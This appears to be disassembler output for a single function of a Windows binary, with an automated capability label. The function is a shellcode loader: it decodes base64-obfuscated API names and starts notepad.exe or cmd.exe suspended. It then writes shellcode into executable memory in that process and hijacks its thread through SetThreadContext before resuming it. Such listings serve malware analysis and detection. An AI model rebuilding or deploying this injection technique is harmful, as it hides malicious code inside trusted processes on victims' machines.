Function at 0x1100310d0
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x150]
mov qword [rbp - 0xf8], rbx
mov qword [rbp - 8], rcx
call fcn.110005440
mov qword [rbp - 0xa8], 0
mov qword [rbp - 0xb8], 0
mov qword [rbp - 0xc0], 0
mov qword [rbp - 0xf0], 0
mov qword [rbp - 0xe8], 0
mov qword [rbp - 0xe0], 0
mov qword [rbp - 0xd0], 0
nop
nop
mov rax, qword [rbp - 8]
lea rcx, [rbp - 0xd0]
mov rdx, rax
call fcn.110028140
cmp qword [rbp - 0xd0], 0
jne 0x110031168
mov rcx, rsp
lea rdx, [0x11003153a]
call fcn.110011ae0
nop
mov rdx, qword [rbp - 8]
lea rcx, [rbp - 0xd0]
call dbg.CONVERTSHELLCODE
mov rdx, qword [rbp - 0xd0]
lea rcx, [rbp - 8]
call fcn.110005470
mov rcx, qword [rbp - 8]
call dbg.GETSHELLCODESIZE
mov dword [rbp - 0xb0], eax
mov qword [rbp - 0xd8], rax
lea rdx, [0x110042df0]
lea r9, [rbp - 0xd8]
lea rcx, [rbp - 0xc0]
mov r8d, 1
call fcn.110008880
mov eax, dword [rbp - 0xb0]
lea ebx, [eax - 1]
mov dword [rbp - 0xac], 0xffffffff
nop word [rax + rax]
add dword [rbp - 0xac], 1
mov rdx, qword [rbp - 8]
mov r8d, 1
mov ecx, 0x2c
call fcn.1100066c0
mov r9, rax
sub r9, 1
mov rdx, qword [rbp - 8]
lea rcx, [rbp - 0xb8]
mov r8d, 1
call fcn.110006510
mov edx, dword [rbp - 0xb0]
sub rdx, 1
mov eax, dword [rbp - 0xac]
cmp rdx, rax
je 0x11003124c
mov rdx, qword [rbp - 8]
mov r8d, 1
mov ecx, 0x2c
call fcn.1100066c0
mov r8, rax
lea rcx, [rbp - 8]
mov edx, 1
call fcn.110006840
jmp 0x11003125c
mov rdx, qword [rbp - 8]
lea rcx, [rbp - 0xb8]
call fcn.110005470
mov rcx, qword [rbp - 0xb8]
call fcn.110028290
mov rcx, qword [rbp - 0xc0]
mov edx, dword [rbp - 0xac]
mov byte [rcx + rdx], al
cmp ebx, dword [rbp - 0xac]
ja 0x1100311d8
lea rcx, [rbp - 0xa8]
lea rdx, str.notepad.exe
call fcn.110005470
lea rcx, [rbp - 0xa8]
call fcn.1100064d0
lea rcx, [rbp - 0x88]
xor r8d, r8d
mov edx, 0x68
call fcn.110014e60
lea rcx, [rbp - 0x20]
xor r8d, r8d
mov edx, 0x18
call fcn.110014e60
lea rcx, str.kernel32.dll
call sub.kernel32.dll_LoadLibraryA
mov qword [rbp - 0xc8], rax
xor r8b, r8b
lea rdx, str.Q3JlYXRlUHJvY2Vzc0E
lea rcx, [rbp - 0xd0]
call fcn.110030b90
mov rdx, qword [rbp - 0xd0]
test rdx, rdx
jne 0x110031304
lea rdx, [0x110051480]
mov rcx, qword [rbp - 0xc8]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11015b9b0], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x88]
mov qword [rsp + 0x40], rax
mov rdx, qword [rbp - 0xa8]
test rdx, rdx
jne 0x110031361
lea rdx, [0x110051480]
xor r9, r9
xor r8, r8
lea rcx, str.c:windows_system32cmd.exe
call qword [0x11015b9b0]
xor r8b, r8b
lea rdx, str.VmlydHVhbEFsbG9j
lea rcx, [rbp - 0xe0]
call fcn.110030b90
mov rdx, qword [rbp - 0xe0]
test rdx, rdx
jne 0x11003139d
lea rdx, [0x110051480]
mov rcx, qword [rbp - 0xc8]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11015b9d0], rax
mov rcx, qword [rbp - 0xc8]
lea rdx, str.VirtualAllocEx
call sub.kernel32.dll_GetProcAddress
mov qword [0x11015b9c0], rax
xor r8b, r8b
lea rdx, str.V3JpdGVQcm9jZXNzTWVtb3J5
lea rcx, [rbp - 0xe8]
call fcn.110030b90
mov rdx, qword [rbp - 0xe8]
test rdx, rdx
jne 0x1100313f3
lea rdx, [0x110051480]
mov rcx, qword [rbp - 0xc8]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11015ba00], rax
mov rcx, qword [rbp - 0xc8]
lea rdx, str.GetThreadContext
call sub.kernel32.dll_GetProcAddress
mov qword [0x11015ba10], rax
mov rcx, qword [rbp - 0xc8]
lea rdx, str.SetThreadContext
call sub.kernel32.dll_GetProcAddress
mov qword [0x11015ba20], rax
xor r8b, r8b
lea rdx, str.UmVzdW1lVGhyZWFk
lea rcx, [rbp - 0xf0]
call fcn.110030b90
mov rdx, qword [rbp - 0xf0]
test rdx, rdx
jne 0x110031463
lea rdx, [0x110051480]
mov rcx, qword [rbp - 0xc8]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11015ba30], rax
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
xor ecx, ecx
call qword [0x11015b9d0]
mov qword [rbp - 0x90], rax
mov dword [rax + 0x30], 0x10001f
mov rdx, qword [rbp - 0x90]
mov rcx, qword [rbp - 0x18]
call qword [0x11015ba10]
mov dword [rsp + 0x20], 0x40
mov rcx, qword [rbp - 0x20]
mov r8d, dword [rbp - 0xb0]
mov r9d, 0x1000
xor edx, edx
call qword [0x11015b9c0]
mov qword [rbp - 0x98], rax
lea rax, [rbp - 0xa0]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp - 0xb0]
mov rcx, qword [rbp - 0x20]
mov r8, qword [rbp - 0xc0]
mov rdx, qword [rbp - 0x98]
call qword [0x11015ba00]
mov rax, qword [rbp - 0x90]
mov rdx, qword [rbp - 0x98]
mov qword [rax + 0xf8], rdx
mov rdx, qword [rbp - 0x90]
mov rcx, qword [rbp - 0x18]
call qword [0x11015ba20]
mov rcx, qword [rbp - 0x18]
call qword [0x11015ba30]
nop
mov rcx, rbp
call dbg.fin$0000000D
nop
mov rcx, rbp
call dbg.fin$0000000E
mov rbx, qword [rbp - 0xf8]
lea rsp, [rbp]
pop rbp
ret